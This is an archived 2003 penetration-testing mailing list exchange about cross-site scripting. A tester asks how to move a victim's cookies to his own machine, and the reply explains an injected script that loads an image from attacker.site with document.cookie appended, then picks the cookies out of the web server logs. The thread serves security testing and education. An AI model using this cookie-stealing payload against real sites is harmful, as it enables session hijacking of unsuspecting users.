

RE: Proof of Concept Tool on Web Application Security

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2003-04/0062.html>

From: Dawes, Rogan (ZA - Johannesburg) (rdawes@deloitte.co.za)

Date: 04/14/03

From: "Dawes, Rogan (ZA - Johannesburg)" <rdawes@deloitte.co.za>

To: 'Indian Tiger' <indiantiger@mailandnews.com>, pen-test@securityfocus.com, "Dawes, Rogan (ZA -

Date: Mon, 14 Apr 2003 07:45:15 +0200

Hi,

You are misreading the script fragment that you quoted.

What that is intended to do is fetch an image from a server under your own control, with the cookie appended to the url as a parameter. You don't have to have "snarf" be an application that uses those parameters, it could be a simple .gif or .jpg file. Then you just parse your web server logs for cookies.

E.g.

```
tail -f webserverlog | grep snarf
```

If you want something automated to react when such a session id appears, than you would need to have snarf either be a program, or have a script tailling the server logs, and reacting when it sees a new cookie.

Rogan

-----Original Message-----

From: Indian Tiger [<mailto:indiantiger@mailandnews.com>]

Sent: 13 April 2003 09:33 AM

To: pen-test@securityfocus.com; rdawes@deloitte.co.za

Subject: RE: Proof of Concept Tool on Web Application Security

Hi Rogan,

Comments in-line

```
[script language=javascript]document.print("<img  
src='http://attacker.site/snarf?' + document.cookie + '>")[/script]
```

I have tested this and it works perfectly fine. In my scenario I gave as follows and it was working:

RE: Proof of Concept Tool on Web Application Security

SecurityFocus Penetration: RE: Proof of Concept Tool on Web Application Security

```
<script> alert('hacked') </script>
```

Now I am testing Cross-Site Scripting to steal the client cookies, or any other sensitive information. I am working on my own pen-test-testing site, which is vulnerable to XSS. I was able to display the cookies of the client at the victim's machine, but that was not my goal, my goal is to get that cookies on my machine or any desired location. So is there any way by which I can transfer the victim's cookie or any other information at my machine without interaction of the victim.

One way of transferring cookie information from the victim's machine to attacker's machine is to create a hidden field & then transfer cookie information to that hidden field & then post (submit) this hidden field to web site of attacker. But this require interaction of victim, as victim must click on submit button to post this data to attacker's site, which is not a good idea, the data should be transferred without knowledge of victim. So what should be the best way to this? How I can upload a file from victim machine to any other server?

Any suggestions on the above topics will be highly appreciated.

Thanking you,
Sincerely,

Indian Tiger, CISSP

Costs are climbing and complaints are rising
as SPAM overloads your e-mail servers and Inboxes
SurfControl E-mail Filter puts the brakes on spam & viruses
and gives you the reports to prove it.
<http://www.securityfocus.com/SurfControl-pen-test2>
Download a free trial and see just
what's going in and out of your organization.
